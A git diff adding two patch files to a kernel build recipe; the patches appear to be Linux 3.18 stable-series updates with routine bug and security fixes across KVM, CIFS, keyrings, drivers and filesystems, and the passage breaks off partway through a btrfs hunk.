diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0001.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0001.diff new file mode 100644 index 0000000..e7019d0 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0001.diff @@ -0,0 +1,678 @@ +diff --git a/Makefile b/Makefile +index 9b82f279ef1d..f5e683464cd4 100644 +--- a/Makefile ++++ b/Makefile +@@ -1,6 +1,6 @@ + VERSION = 3 + PATCHLEVEL = 18 +-SUBLEVEL = 72 ++SUBLEVEL = 73 + EXTRAVERSION = + NAME = Diseased Newt + +diff --git a/arch/arm/xen/mm.c b/arch/arm/xen/mm.c +index f8a576b1d9bb..5409d70ffe6f 100644 +--- a/arch/arm/xen/mm.c ++++ b/arch/arm/xen/mm.c +@@ -59,6 +59,7 @@ static struct dma_map_ops xen_swiotlb_dma_ops = { + .unmap_page = xen_swiotlb_unmap_page, + .dma_supported = xen_swiotlb_dma_supported, + .set_dma_mask = xen_swiotlb_set_dma_mask, ++ .mmap = xen_swiotlb_dma_mmap, + }; + + int __init xen_mm_init(void) +diff --git a/arch/arm64/kernel/head.S b/arch/arm64/kernel/head.S +index 2877dd818977..5c4b8d6e8ba0 100644 +--- a/arch/arm64/kernel/head.S ++++ b/arch/arm64/kernel/head.S +@@ -264,6 +264,7 @@ ENDPROC(stext) + * booted in EL1 or EL2 respectively. + */ + ENTRY(el2_setup) ++ msr SPsel, #1 // We want to use SP_EL{1,2} + mrs x0, CurrentEL + cmp x0, #CurrentEL_EL2 + b.ne 1f +diff --git a/arch/powerpc/kvm/book3s_64_vio.c b/arch/powerpc/kvm/book3s_64_vio.c +index 54cf9bc94dad..3a095670b0c4 100644 +--- a/arch/powerpc/kvm/book3s_64_vio.c ++++ b/arch/powerpc/kvm/book3s_64_vio.c +@@ -101,22 +101,17 @@ long kvm_vm_ioctl_create_spapr_tce(struct kvm *kvm, + struct kvm_create_spapr_tce *args) + { + struct kvmppc_spapr_tce_table *stt = NULL; ++ struct kvmppc_spapr_tce_table *siter; + long npages; + int ret = -ENOMEM; + int i; + +- /* Check this LIOBN hasn't been previously allocated */ +- list_for_each_entry(stt, &kvm->arch.spapr_tce_tables, list) { +- if (stt->liobn == args->liobn) +- return -EBUSY; +- } +- + npages = kvmppc_stt_npages(args->window_size); + + stt = kzalloc(sizeof(*stt) + npages * sizeof(struct page *), + GFP_KERNEL); + if (!stt) +- goto fail; ++ return ret; + + stt->liobn = args->liobn; + stt->window_size = args->window_size; +@@ -128,23 +123,36 @@ long kvm_vm_ioctl_create_spapr_tce(struct kvm *kvm, + goto fail; + } + +- kvm_get_kvm(kvm); +- + mutex_lock(&kvm->lock); +- list_add(&stt->list, &kvm->arch.spapr_tce_tables); ++ ++ /* Check this LIOBN hasn't been previously allocated */ ++ ret = 0; ++ list_for_each_entry(siter, &kvm->arch.spapr_tce_tables, list) { ++ if (siter->liobn == args->liobn) { ++ ret = -EBUSY; ++ break; ++ } ++ } ++ ++ if (!ret) ++ ret = anon_inode_getfd("kvm-spapr-tce", &kvm_spapr_tce_fops, ++ stt, O_RDWR | O_CLOEXEC); ++ ++ if (ret >= 0) { ++ list_add(&stt->list, &kvm->arch.spapr_tce_tables); ++ kvm_get_kvm(kvm); ++ } + + mutex_unlock(&kvm->lock); + +- return anon_inode_getfd("kvm-spapr-tce", &kvm_spapr_tce_fops, +- stt, O_RDWR | O_CLOEXEC); ++ if (ret >= 0) ++ return ret; + +-fail: +- if (stt) { +- for (i = 0; i < npages; i++) +- if (stt->pages[i]) +- __free_page(stt->pages[i]); ++ fail: ++ for (i = 0; i < npages; i++) ++ if (stt->pages[i]) ++ __free_page(stt->pages[i]); + +- kfree(stt); +- } ++ kfree(stt); + return ret; + } +diff --git a/arch/powerpc/platforms/pseries/mobility.c b/arch/powerpc/platforms/pseries/mobility.c +index f8c9ff7886e1..b86408e91e8b 100644 +--- a/arch/powerpc/platforms/pseries/mobility.c ++++ b/arch/powerpc/platforms/pseries/mobility.c +@@ -225,8 +225,10 @@ static int add_dt_node(__be32 parent_phandle, __be32 drc_index) + return -ENOENT; + + dn = dlpar_configure_connector(drc_index, parent_dn); +- if (!dn) ++ if (!dn) { ++ of_node_put(parent_dn); + return -ENOENT; ++ } + + rc = dlpar_attach_node(dn); + if (rc) +diff --git a/arch/x86/kernel/i387.c b/arch/x86/kernel/i387.c +index 8d6e954db2a7..9c9f4c0b0106 100644 +--- a/arch/x86/kernel/i387.c ++++ b/arch/x86/kernel/i387.c +@@ -388,11 +388,22 @@ int xstateregs_set(struct task_struct *target, const struct user_regset *regset, + xsave_hdr = &target->thread.fpu.state->xsave.xsave_hdr; + + xsave_hdr->xstate_bv &= pcntxt_mask; ++ ++ /* xcomp_bv must be 0 when using uncompacted format */ ++ if (!ret && xsave_hdr->xcomp_bv) ++ ret = -EINVAL; ++ + /* + * These bits must be zero. + */ + memset(xsave_hdr->reserved, 0, 48); + ++ /* ++ * In case of failure, mark all states as init: ++ */ ++ if (ret) ++ fpu_finit(&target->thread.fpu); ++ + return ret; + } + +diff --git a/arch/x86/kernel/xsave.c b/arch/x86/kernel/xsave.c +index cdc6cf903078..460e72155f51 100644 +--- a/arch/x86/kernel/xsave.c ++++ b/arch/x86/kernel/xsave.c +@@ -394,7 +394,9 @@ int __restore_xstate_sig(void __user *buf, void __user *buf_fx, int size) + drop_fpu(tsk); + + if (__copy_from_user(&fpu->state->xsave, buf_fx, state_size) || +- __copy_from_user(&env, buf, sizeof(env))) { ++ __copy_from_user(&env, buf, sizeof(env)) || ++ (state_size > offsetof(struct xsave_struct, xsave_hdr) && ++ fpu->state->xsave.xsave_hdr.xcomp_bv)) { + fpu_finit(fpu); + err = -1; + } else { +diff --git a/arch/x86/kvm/vmx.c b/arch/x86/kvm/vmx.c +index 99c004ddefd8..dd3ca375bfdf 100644 +--- a/arch/x86/kvm/vmx.c ++++ b/arch/x86/kvm/vmx.c +@@ -8275,6 +8275,11 @@ static void prepare_vmcs02(struct kvm_vcpu *vcpu, struct vmcs12 *vmcs12) + vmcs_write64(VIRTUAL_APIC_PAGE_ADDR, + page_to_phys(vmx->nested.virtual_apic_page)); + vmcs_write32(TPR_THRESHOLD, vmcs12->tpr_threshold); ++ } else { ++#ifdef CONFIG_X86_64 ++ exec_control |= CPU_BASED_CR8_LOAD_EXITING | ++ CPU_BASED_CR8_STORE_EXITING; ++#endif + } + + /* +diff --git a/block/bsg-lib.c b/block/bsg-lib.c +index 650f427d915b..341b8d858e67 100644 +--- a/block/bsg-lib.c ++++ b/block/bsg-lib.c +@@ -147,7 +147,6 @@ static int bsg_create_job(struct device *dev, struct request *req) + failjob_rls_rqst_payload: + kfree(job->request_payload.sg_list); + failjob_rls_job: +- kfree(job); + return -ENOMEM; + } + +diff --git a/drivers/crypto/talitos.c b/drivers/crypto/talitos.c +index 00410b319b26..9fa17913941c 100644 +--- a/drivers/crypto/talitos.c ++++ b/drivers/crypto/talitos.c +@@ -1581,9 +1581,9 @@ static int common_nonsnoop_hash(struct talitos_edesc *edesc, + req_ctx->swinit = 0; + } else { + desc->ptr[1] = zero_entry; +- /* Indicate next op is not the first. */ +- req_ctx->first = 0; + } ++ /* Indicate next op is not the first. */ ++ req_ctx->first = 0; + + /* HMAC key */ + if (ctx->keylen) +diff --git a/drivers/pci/pci-sysfs.c b/drivers/pci/pci-sysfs.c +index 66ba1ee09a6c..318707870cb2 100644 +--- a/drivers/pci/pci-sysfs.c ++++ b/drivers/pci/pci-sysfs.c +@@ -513,7 +513,7 @@ static ssize_t driver_override_store(struct device *dev, + const char *buf, size_t count) + { + struct pci_dev *pdev = to_pci_dev(dev); +- char *driver_override, *old = pdev->driver_override, *cp; ++ char *driver_override, *old, *cp; + + /* We need to keep extra room for a newline */ + if (count >= (PAGE_SIZE - 1)) +@@ -527,12 +527,15 @@ static ssize_t driver_override_store(struct device *dev, + if (cp) + *cp = '\0'; + ++ device_lock(dev); ++ old = pdev->driver_override; + if (strlen(driver_override)) { + pdev->driver_override = driver_override; + } else { + kfree(driver_override); + pdev->driver_override = NULL; + } ++ device_unlock(dev); + + kfree(old); + +@@ -543,8 +546,12 @@ static ssize_t driver_override_show(struct device *dev, + struct device_attribute *attr, char *buf) + { + struct pci_dev *pdev = to_pci_dev(dev); ++ ssize_t len; + +- return snprintf(buf, PAGE_SIZE, "%s\n", pdev->driver_override); ++ device_lock(dev); ++ len = snprintf(buf, PAGE_SIZE, "%s\n", pdev->driver_override); ++ device_unlock(dev); ++ return len; + } + static DEVICE_ATTR_RW(driver_override); + +diff --git a/drivers/scsi/scsi_transport_iscsi.c b/drivers/scsi/scsi_transport_iscsi.c +index 67d43e35693d..b5a653aed5a4 100644 +--- a/drivers/scsi/scsi_transport_iscsi.c ++++ b/drivers/scsi/scsi_transport_iscsi.c +@@ -3693,7 +3693,7 @@ iscsi_if_rx(struct sk_buff *skb) + uint32_t group; + + nlh = nlmsg_hdr(skb); +- if (nlh->nlmsg_len < sizeof(*nlh) || ++ if (nlh->nlmsg_len < sizeof(*nlh) + sizeof(*ev) || + skb->len < nlh->nlmsg_len) { + break; + } +diff --git a/drivers/video/fbdev/aty/atyfb_base.c b/drivers/video/fbdev/aty/atyfb_base.c +index 37ec09b3fffd..fd38ee820da6 100644 +--- a/drivers/video/fbdev/aty/atyfb_base.c ++++ b/drivers/video/fbdev/aty/atyfb_base.c +@@ -1852,7 +1852,7 @@ static int atyfb_ioctl(struct fb_info *info, u_int cmd, u_long arg) + #if defined(DEBUG) && defined(CONFIG_FB_ATY_CT) + case ATYIO_CLKR: + if (M64_HAS(INTEGRATED)) { +- struct atyclk clk; ++ struct atyclk clk = { 0 }; + union aty_pll *pll = &par->pll; + u32 dsp_config = pll->ct.dsp_config; + u32 dsp_on_off = pll->ct.dsp_on_off; +diff --git a/drivers/xen/swiotlb-xen.c b/drivers/xen/swiotlb-xen.c +index c9d0d5a0e662..c6d47e558488 100644 +--- a/drivers/xen/swiotlb-xen.c ++++ b/drivers/xen/swiotlb-xen.c +@@ -684,3 +684,22 @@ xen_swiotlb_set_dma_mask(struct device *dev, u64 dma_mask) + return 0; + } + EXPORT_SYMBOL_GPL(xen_swiotlb_set_dma_mask); ++ ++/* ++ * Create userspace mapping for the DMA-coherent memory. ++ * This function should be called with the pages from the current domain only, ++ * passing pages mapped from other domains would lead to memory corruption. ++ */ ++int ++xen_swiotlb_dma_mmap(struct device *dev, struct vm_area_struct *vma, ++ void *cpu_addr, dma_addr_t dma_addr, size_t size, ++ struct dma_attrs *attrs) ++{ ++#if defined(CONFIG_ARM) || defined(CONFIG_ARM64) ++ if (__generic_dma_ops(dev)->mmap) ++ return __generic_dma_ops(dev)->mmap(dev, vma, cpu_addr, ++ dma_addr, size, attrs); ++#endif ++ return dma_common_mmap(dev, vma, cpu_addr, dma_addr, size); ++} ++EXPORT_SYMBOL_GPL(xen_swiotlb_dma_mmap); +diff --git a/fs/btrfs/ioctl.c b/fs/btrfs/ioctl.c +index dd8526a659f8..a877e6279b10 100644 +--- a/fs/btrfs/ioctl.c ++++ b/fs/btrfs/ioctl.c +@@ -3963,6 +3963,10 @@ static long btrfs_ioctl_default_subvol(struct file *file, void __user *argp) + ret = PTR_ERR(new_root); + goto out; + } ++ if (!is_fstree(new_root->objectid)) { ++ ret = -ENOENT; ++ goto out; ++ } + + path = btrfs_alloc_path(); + if (!path) { +diff --git a/fs/cifs/cifsfs.c b/fs/cifs/cifsfs.c +index 103e8b6604b1..b8158006e0ff 100644 +--- a/fs/cifs/cifsfs.c ++++ b/fs/cifs/cifsfs.c +@@ -1311,7 +1311,7 @@ exit_cifs(void) + exit_cifs_idmap(); + #endif + #ifdef CONFIG_CIFS_UPCALL +- unregister_key_type(&cifs_spnego_key_type); ++ exit_cifs_spnego(); + #endif + cifs_destroy_request_bufs(); + cifs_destroy_mids(); +diff --git a/fs/cifs/connect.c b/fs/cifs/connect.c +index 32c46a5c489e..43df8c3e026c 100644 +--- a/fs/cifs/connect.c ++++ b/fs/cifs/connect.c +@@ -3958,6 +3958,14 @@ cifs_setup_session(const unsigned int xid, struct cifs_ses *ses, + cifs_dbg(FYI, "Security Mode: 0x%x Capabilities: 0x%x TimeAdjust: %d\n", + server->sec_mode, server->capabilities, server->timeAdj); + ++ if (ses->auth_key.response) { ++ cifs_dbg(VFS, "Free previous auth_key.response = %p\n", ++ ses->auth_key.response); ++ kfree(ses->auth_key.response); ++ ses->auth_key.response = NULL; ++ ses->auth_key.len = 0; ++ } ++ + if (server->ops->sess_setup) + rc = server->ops->sess_setup(xid, ses, nls_info); + +diff --git a/fs/cifs/file.c b/fs/cifs/file.c +index a3badede1b32..237c201d6d3e 100644 +--- a/fs/cifs/file.c ++++ b/fs/cifs/file.c +@@ -225,6 +225,13 @@ cifs_nt_open(char *full_path, struct inode *inode, struct cifs_sb_info *cifs_sb, + if (backup_cred(cifs_sb)) + create_options |= CREATE_OPEN_BACKUP_INTENT; + ++ /* O_SYNC also has bit for O_DSYNC so following check picks up either */ ++ if (f_flags & O_SYNC) ++ create_options |= CREATE_WRITE_THROUGH; ++ ++ if (f_flags & O_DIRECT) ++ create_options |= CREATE_NO_BUFFER; ++ + oparms.tcon = tcon; + oparms.cifs_sb = cifs_sb; + oparms.desired_access = desired_access; +diff --git a/fs/cifs/smb2pdu.c b/fs/cifs/smb2pdu.c +index 2c3047636d4e..fc5809d494ed 100644 +--- a/fs/cifs/smb2pdu.c ++++ b/fs/cifs/smb2pdu.c +@@ -453,15 +453,22 @@ int smb3_validate_negotiate(const unsigned int xid, struct cifs_tcon *tcon) + + /* + * validation ioctl must be signed, so no point sending this if we +- * can not sign it. We could eventually change this to selectively ++ * can not sign it (ie are not known user). Even if signing is not ++ * required (enabled but not negotiated), in those cases we selectively + * sign just this, the first and only signed request on a connection. +- * This is good enough for now since a user who wants better security +- * would also enable signing on the mount. Having validation of +- * negotiate info for signed connections helps reduce attack vectors ++ * Having validation of negotiate info helps reduce attack vectors. + */ +- if (tcon->ses->server->sign == false) ++ if (tcon->ses->session_flags & SMB2_SESSION_FLAG_IS_GUEST) + return 0; /* validation requires signing */ + ++ if (tcon->ses->user_name == NULL) { ++ cifs_dbg(FYI, "Can't validate negotiate: null user mount\n"); ++ return 0; /* validation requires signing */ ++ } ++ ++ if (tcon->ses->session_flags & SMB2_SESSION_FLAG_IS_NULL) ++ cifs_dbg(VFS, "Unexpected null user (anonymous) auth flag sent by server\n"); ++ + vneg_inbuf.Capabilities = + cpu_to_le32(tcon->ses->server->vals->req_capabilities); + memcpy(vneg_inbuf.Guid, tcon->ses->server->client_guid, +diff --git a/fs/read_write.c b/fs/read_write.c +index 7d9318c3d43c..1afb99c33c63 100644 +--- a/fs/read_write.c ++++ b/fs/read_write.c +@@ -116,7 +116,7 @@ generic_file_llseek_size(struct file *file, loff_t offset, int whence, + * In the generic case the entire file is data, so as long as + * offset isn't at the end of the file then the offset is data. + */ +- if (offset >= eof) ++ if ((unsigned long long)offset >= eof) + return -ENXIO; + break; + case SEEK_HOLE: +@@ -124,7 +124,7 @@ generic_file_llseek_size(struct file *file, loff_t offset, int whence, + * There is a virtual hole at the end of the file, so as long as + * offset isn't i_size or larger, return i_size. + */ +- if (offset >= eof) ++ if ((unsigned long long)offset >= eof) + return -ENXIO; + offset = eof; + break; +diff --git a/include/linux/key.h b/include/linux/key.h +index e1d4715f3222..dcc00a7a5b8d 100644 +--- a/include/linux/key.h ++++ b/include/linux/key.h +@@ -172,6 +172,7 @@ struct key { + #define KEY_FLAG_TRUSTED_ONLY 9 /* set if keyring only accepts links to trusted keys */ + #define KEY_FLAG_BUILTIN 10 /* set if key is builtin */ + #define KEY_FLAG_ROOT_CAN_INVAL 11 /* set if key can be invalidated by root without permission */ ++#define KEY_FLAG_UID_KEYRING 12 /* set if key is a user or user session keyring */ + + /* the key type and key description string + * - the desc is used to match a key against search criteria +@@ -223,6 +224,7 @@ extern struct key *key_alloc(struct key_type *type, + #define KEY_ALLOC_QUOTA_OVERRUN 0x0001 /* add to quota, permit even if overrun */ + #define KEY_ALLOC_NOT_IN_QUOTA 0x0002 /* not in quota */ + #define KEY_ALLOC_TRUSTED 0x0004 /* Key should be flagged as trusted */ ++#define KEY_ALLOC_UID_KEYRING 0x0010 /* allocating a user or user session keyring */ + + extern void key_revoke(struct key *key); + extern void key_invalidate(struct key *key); +diff --git a/include/xen/swiotlb-xen.h b/include/xen/swiotlb-xen.h +index 8b2eb93ae8ba..4d7fdbf20eff 100644 +--- a/include/xen/swiotlb-xen.h ++++ b/include/xen/swiotlb-xen.h +@@ -58,4 +58,9 @@ xen_swiotlb_dma_supported(struct device *hwdev, u64 mask); + + extern int + xen_swiotlb_set_dma_mask(struct device *dev, u64 dma_mask); ++ ++extern int ++xen_swiotlb_dma_mmap(struct device *dev, struct vm_area_struct *vma, ++ void *cpu_addr, dma_addr_t dma_addr, size_t size, ++ struct dma_attrs *attrs); + #endif /* __LINUX_SWIOTLB_XEN_H */ +diff --git a/kernel/trace/trace.c b/kernel/trace/trace.c +index 941b21f7c8a4..e61b862309af 100644 +--- a/kernel/trace/trace.c ++++ b/kernel/trace/trace.c +@@ -3168,11 +3168,17 @@ static int tracing_open(struct inode *inode, struct file *file) + /* If this file was open for write, then erase contents */ + if ((file->f_mode & FMODE_WRITE) && (file->f_flags & O_TRUNC)) { + int cpu = tracing_get_cpu(inode); ++ struct trace_buffer *trace_buf = &tr->trace_buffer; ++ ++#ifdef CONFIG_TRACER_MAX_TRACE ++ if (tr->current_trace->print_max) ++ trace_buf = &tr->max_buffer; ++#endif + + if (cpu == RING_BUFFER_ALL_CPUS) +- tracing_reset_online_cpus(&tr->trace_buffer); ++ tracing_reset_online_cpus(trace_buf); + else +- tracing_reset(&tr->trace_buffer, cpu); ++ tracing_reset(trace_buf, cpu); + } + + if (file->f_mode & FMODE_READ) { +@@ -4430,7 +4436,7 @@ static int tracing_wait_pipe(struct file *filp) + * + * iter->pos will be 0 if we haven't read anything. + */ +- if (!tracing_is_on() && iter->pos) ++ if (!tracer_tracing_is_on(iter->tr) && iter->pos) + break; + + mutex_unlock(&iter->mutex); +diff --git a/net/mac80211/offchannel.c b/net/mac80211/offchannel.c +index ff20b2ebdb30..a914eaa7ff06 100644 +--- a/net/mac80211/offchannel.c ++++ b/net/mac80211/offchannel.c +@@ -469,6 +469,8 @@ void ieee80211_roc_purge(struct ieee80211_local *local, + struct ieee80211_roc_work *roc, *tmp; + LIST_HEAD(tmp_list); + ++ flush_work(&local->hw_roc_start); ++ + mutex_lock(&local->mtx); + list_for_each_entry_safe(roc, tmp, &local->roc_list, list) { + if (sdata && roc->sdata != sdata) +diff --git a/net/wireless/nl80211.c b/net/wireless/nl80211.c +index 9fb1dd399788..f843f704c17c 100644 +--- a/net/wireless/nl80211.c ++++ b/net/wireless/nl80211.c +@@ -9006,6 +9006,9 @@ static int nl80211_set_rekey_data(struct sk_buff *skb, struct genl_info *info) + if (err) + return err; + ++ if (!tb[NL80211_REKEY_DATA_REPLAY_CTR] || !tb[NL80211_REKEY_DATA_KEK] || ++ !tb[NL80211_REKEY_DATA_KCK]) ++ return -EINVAL; + if (nla_len(tb[NL80211_REKEY_DATA_REPLAY_CTR]) != NL80211_REPLAY_CTR_LEN) + return -ERANGE; + if (nla_len(tb[NL80211_REKEY_DATA_KEK]) != NL80211_KEK_LEN) +diff --git a/security/keys/internal.h b/security/keys/internal.h +index 200e37867336..b87c92ffae68 100644 +--- a/security/keys/internal.h ++++ b/security/keys/internal.h +@@ -136,7 +136,7 @@ extern key_ref_t keyring_search_aux(key_ref_t keyring_ref, + extern key_ref_t search_my_process_keyrings(struct keyring_search_context *ctx); + extern key_ref_t search_process_keyrings(struct keyring_search_context *ctx); + +-extern struct key *find_keyring_by_name(const char *name, bool skip_perm_check); ++extern struct key *find_keyring_by_name(const char *name, bool uid_keyring); + + extern int install_user_keyrings(void); + extern int install_thread_keyring_to_cred(struct cred *); +diff --git a/security/keys/key.c b/security/keys/key.c +index 37c268fb5c81..8f67cd3bb999 100644 +--- a/security/keys/key.c ++++ b/security/keys/key.c +@@ -298,6 +298,8 @@ struct key *key_alloc(struct key_type *type, const char *desc, + key->flags |= 1 << KEY_FLAG_IN_QUOTA; + if (flags & KEY_ALLOC_TRUSTED) + key->flags |= 1 << KEY_FLAG_TRUSTED; ++ if (flags & KEY_ALLOC_UID_KEYRING) ++ key->flags |= 1 << KEY_FLAG_UID_KEYRING; + + #ifdef KEY_DEBUGGING + key->magic = KEY_DEBUG_MAGIC; +diff --git a/security/keys/keyctl.c b/security/keys/keyctl.c +index 98c5ebc6dad6..9fc289ec0159 100644 +--- a/security/keys/keyctl.c ++++ b/security/keys/keyctl.c +@@ -744,6 +744,11 @@ long keyctl_read_key(key_serial_t keyid, char __user *buffer, size_t buflen) + + key = key_ref_to_ptr(key_ref); + ++ if (test_bit(KEY_FLAG_NEGATIVE, &key->flags)) { ++ ret = -ENOKEY; ++ goto error2; ++ } ++ + /* see if we can read it directly */ + ret = key_permission(key_ref, KEY_NEED_READ); + if (ret == 0) +diff --git a/security/keys/keyring.c b/security/keys/keyring.c +index d33437007ad2..6d913f40b6f0 100644 +--- a/security/keys/keyring.c ++++ b/security/keys/keyring.c +@@ -416,7 +416,7 @@ static void keyring_describe(const struct key *keyring, struct seq_file *m) + } + + struct keyring_read_iterator_context { +- size_t qty; ++ size_t buflen; + size_t count; + key_serial_t __user *buffer; + }; +@@ -428,9 +428,9 @@ static int keyring_read_iterator(const void *object, void *data) + int ret; + + kenter("{%s,%d},,{%zu/%zu}", +- key->type->name, key->serial, ctx->count, ctx->qty); ++ key->type->name, key->serial, ctx->count, ctx->buflen); + +- if (ctx->count >= ctx->qty) ++ if (ctx->count >= ctx->buflen) + return 1; + + ret = put_user(key->serial, ctx->buffer); +@@ -465,16 +465,12 @@ static long keyring_read(const struct key *keyring, + return 0; + + /* Calculate how much data we could return */ +- ctx.qty = nr_keys * sizeof(key_serial_t); +- + if (!buffer || !buflen) +- return ctx.qty; +- +- if (buflen > ctx.qty) +- ctx.qty = buflen; ++ return nr_keys * sizeof(key_serial_t); + + /* Copy the IDs of the subscribed keys into the buffer */ + ctx.buffer = (key_serial_t __user *)buffer; ++ ctx.buflen = buflen; + ctx.count = 0; + ret = assoc_array_iterate(&keyring->keys, keyring_read_iterator, &ctx); + if (ret < 0) { +@@ -965,15 +961,15 @@ found: + /* + * Find a keyring with the specified name. + * +- * All named keyrings in the current user namespace are searched, provided they +- * grant Search permission directly to the caller (unless this check is +- * skipped). Keyrings whose usage points have reached zero or who have been +- * revoked are skipped. ++ * Only keyrings that have nonzero refcount, are not revoked, and are owned by a ++ * user in the current user namespace are considered. If @uid_keyring is %true, ++ * the keyring additionally must have been allocated as a user or user session ++ * keyring; otherwise, it must grant Search permission directly to the caller. + * + * Returns a pointer to the keyring with the keyring's refcount having being + * incremented on success. -ENOKEY is returned if a key could not be found. + */ +-struct key *find_keyring_by_name(const char *name, bool skip_perm_check) ++struct key *find_keyring_by_name(const char *name, bool uid_keyring) + { + struct key *keyring; + int bucket; +@@ -1001,10 +997,15 @@ struct key *find_keyring_by_name(const char *name, bool skip_perm_check) + if (strcmp(keyring->description, name) != 0) + continue; + +- if (!skip_perm_check && +- key_permission(make_key_ref(keyring, 0), +- KEY_NEED_SEARCH) < 0) +- continue; ++ if (uid_keyring) { ++ if (!test_bit(KEY_FLAG_UID_KEYRING, ++ &keyring->flags)) ++ continue; ++ } else { ++ if (key_permission(make_key_ref(keyring, 0), ++ KEY_NEED_SEARCH) < 0) ++ continue; ++ } + + /* we've got a match but we might end up racing with + * key_cleanup() if the keyring is currently 'dead' +diff --git a/security/keys/process_keys.c b/security/keys/process_keys.c +index 162077db5f81..85b61a3ac981 100644 +--- a/security/keys/process_keys.c ++++ b/security/keys/process_keys.c +@@ -76,7 +76,9 @@ int install_user_keyrings(void) + if (IS_ERR(uid_keyring)) { + uid_keyring = keyring_alloc(buf, user->uid, INVALID_GID, + cred, user_keyring_perm, +- KEY_ALLOC_IN_QUOTA, NULL); ++ KEY_ALLOC_UID_KEYRING | ++ KEY_ALLOC_IN_QUOTA, ++ NULL); + if (IS_ERR(uid_keyring)) { + ret = PTR_ERR(uid_keyring); + goto error; +@@ -92,7 +94,9 @@ int install_user_keyrings(void) + session_keyring = + keyring_alloc(buf, user->uid, INVALID_GID, + cred, user_keyring_perm, +- KEY_ALLOC_IN_QUOTA, NULL); ++ KEY_ALLOC_UID_KEYRING | ++ KEY_ALLOC_IN_QUOTA, ++ NULL); + if (IS_ERR(session_keyring)) { + ret = PTR_ERR(session_keyring); + goto error_release; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0002.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0002.diff new file mode 100644 index 0000000..b6bd3ee --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0002.diff @@ -0,0 +1,388 @@ +diff --git a/Makefile b/Makefile +index 9630ca7223c9..ac3ce9725894 100644 +--- a/Makefile ++++ b/Makefile +@@ -1,6 +1,6 @@ + VERSION = 3 + PATCHLEVEL = 18 +-SUBLEVEL = 85 ++SUBLEVEL = 86 + EXTRAVERSION = + NAME = Diseased Newt + +diff --git a/arch/x86/kvm/svm.c b/arch/x86/kvm/svm.c +index 073c107faeb4..c59e8f5c2e2f 100644 +--- a/arch/x86/kvm/svm.c ++++ b/arch/x86/kvm/svm.c +@@ -1785,6 +1785,8 @@ static int ud_interception(struct vcpu_svm *svm) + int er; + + er = emulate_instruction(&svm->vcpu, EMULTYPE_TRAP_UD); ++ if (er == EMULATE_USER_EXIT) ++ return 0; + if (er != EMULATE_DONE) + kvm_queue_exception(&svm->vcpu, UD_VECTOR); + return 1; +diff --git a/arch/x86/kvm/vmx.c b/arch/x86/kvm/vmx.c +index 3f51f81233c5..66a6f57634be 100644 +--- a/arch/x86/kvm/vmx.c ++++ b/arch/x86/kvm/vmx.c +@@ -4899,6 +4899,8 @@ static int handle_exception(struct kvm_vcpu *vcpu) + + if (is_invalid_opcode(intr_info)) { + er = emulate_instruction(vcpu, EMULTYPE_TRAP_UD); ++ if (er == EMULATE_USER_EXIT) ++ return 0; + if (er != EMULATE_DONE) + kvm_queue_exception(vcpu, UD_VECTOR); + return 1; +diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c +index 1e839d801055..26329e8c9855 100644 +--- a/arch/x86/kvm/x86.c ++++ b/arch/x86/kvm/x86.c +@@ -5372,6 +5372,8 @@ int x86_emulate_instruction(struct kvm_vcpu *vcpu, + if (reexecute_instruction(vcpu, cr2, write_fault_to_spt, + emulation_type)) + return EMULATE_DONE; ++ if (ctxt->have_exception && inject_emulated_exception(vcpu)) ++ return EMULATE_DONE; + if (emulation_type & EMULTYPE_SKIP) + return EMULATE_FAIL; + return handle_emulation_failure(vcpu); +diff --git a/drivers/gpu/drm/i915/intel_i2c.c b/drivers/gpu/drm/i915/intel_i2c.c +index ae628001fd97..b4891066a369 100644 +--- a/drivers/gpu/drm/i915/intel_i2c.c ++++ b/drivers/gpu/drm/i915/intel_i2c.c +@@ -394,7 +394,9 @@ static bool + gmbus_is_index_read(struct i2c_msg *msgs, int i, int num) + { + return (i + 1 < num && +- !(msgs[i].flags & I2C_M_RD) && msgs[i].len <= 2 && ++ msgs[i].addr == msgs[i + 1].addr && ++ !(msgs[i].flags & I2C_M_RD) && ++ (msgs[i].len == 1 || msgs[i].len == 2) && + (msgs[i + 1].flags & I2C_M_RD)); + } + +diff --git a/drivers/gpu/drm/panel/panel-simple.c b/drivers/gpu/drm/panel/panel-simple.c +index 23de22f8c820..7a4faf911ee8 100644 +--- a/drivers/gpu/drm/panel/panel-simple.c ++++ b/drivers/gpu/drm/panel/panel-simple.c +@@ -312,6 +312,7 @@ static int panel_simple_remove(struct device *dev) + drm_panel_remove(&panel->base); + + panel_simple_disable(&panel->base); ++ panel_simple_unprepare(&panel->base); + + if (panel->ddc) + put_device(&panel->ddc->dev); +@@ -327,6 +328,7 @@ static void panel_simple_shutdown(struct device *dev) + struct panel_simple *panel = dev_get_drvdata(dev); + + panel_simple_disable(&panel->base); ++ panel_simple_unprepare(&panel->base); + } + + static const struct drm_display_mode auo_b101aw03_mode = { +diff --git a/drivers/misc/eeprom/at24.c b/drivers/misc/eeprom/at24.c +index d87f77f790d6..c1cceeaf9aeb 100644 +--- a/drivers/misc/eeprom/at24.c ++++ b/drivers/misc/eeprom/at24.c +@@ -274,6 +274,9 @@ static ssize_t at24_read(struct at24_data *at24, + if (unlikely(!count)) + return count; + ++ if (off + count > at24->chip.byte_len) ++ return -EINVAL; ++ + /* + * Read data from chip, protecting against concurrent updates + * from this host, but not from other I2C masters. +@@ -328,6 +331,9 @@ static ssize_t at24_eeprom_write(struct at24_data *at24, const char *buf, + unsigned long timeout, write_time; + unsigned next_page; + ++ if (offset + count > at24->chip.byte_len) ++ return -EINVAL; ++ + /* Get corresponding I2C address and adjust offset */ + client = at24_translate_offset(at24, &offset); + +diff --git a/fs/btrfs/extent-tree.c b/fs/btrfs/extent-tree.c +index 04627051c9f4..131fe194f9e9 100644 +--- a/fs/btrfs/extent-tree.c ++++ b/fs/btrfs/extent-tree.c +@@ -3219,13 +3219,6 @@ again: + goto again; + } + +- /* We've already setup this transaction, go ahead and exit */ +- if (block_group->cache_generation == trans->transid && +- i_size_read(inode)) { +- dcs = BTRFS_DC_SETUP; +- goto out_put; +- } +- + /* + * We want to set the generation to 0, that way if anything goes wrong + * from here on out we know not to trust this cache when we load up next +@@ -3235,6 +3228,13 @@ again: + ret = btrfs_update_inode(trans, root, inode); + WARN_ON(ret); + ++ /* We've already setup 